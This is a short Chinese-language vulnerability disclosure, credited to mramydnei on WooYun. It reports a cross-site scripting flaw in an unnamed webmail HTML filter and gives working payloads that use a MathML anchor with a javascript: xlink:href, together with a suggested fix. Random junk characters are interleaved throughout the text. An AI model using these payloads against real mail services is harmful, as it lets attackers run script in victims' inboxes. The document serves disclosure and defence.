简要描述:对某标签和某属性过滤不严导致可以在邮件中植入恶意代码
8 e5 t% d( ~1 u- n( ~) [) y详细说明:按照老习惯通过支持html编辑的邮箱往目标邮箱海量发送xss vectors然后看漏了什么
% W+ z9 x- c4 n" E5 H( q5 `+ A( ?0 h$ H
8 V! ~: a0 W, a' u. s$ G7 h( ~% Y1 j可以看到我的svg被提前闭合了,rect里面的 width="1000" height="1000" fill="white"各种属性也和王力宏那首“你不在”一样,不见了。。不过貌似对于xlink:href没有过滤这是硬伤啊。接下来只要能让我插入math标签,这个问题基本上就算是解决了。0 d) g$ V0 f, a5 o. c
而事实上。。。确实就那样成功了, K, G. H8 N/ T- [
有效的payload如下:- <math><a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(1)" target="_blank">abc q<rect></rect></a> </math>: o% U, b& q) z* Y( a1 D9 O
- A' v# K" K4 }% ]/ u
复制代码* |3 e: S5 H& t3 j5 e$ V9 H1 n
当然也可以缩减一下,写成这样。- <math><a xlink:href=javascript:alert(1)>I'mshort4 e% z" N& c! @( u7 j
- |! }0 u; L( j; c* P2 E复制代码
5 E/ b& X1 G$ ~; ]: _, a" [: S5 d% Z漏洞证明:
, F6 |# _# x; U2 `8 {* @4 k c3 A6 j4 _
5 r* s* V8 r0 P
0 I1 o9 f: {6 t" ~: x$ S2 b: A修复方案:对xlink:href的value进行过滤。7 e& `, p, i5 b4 z4 z
' o0 [0 A, l+ S2 C: H7 |5 Z
来源 mramydnei@乌云
9 \ T! c; \# D! L# t; Z# B: N" k0 v. c
* f! k" Z* E2 U! ^% H$ j2 w! W
|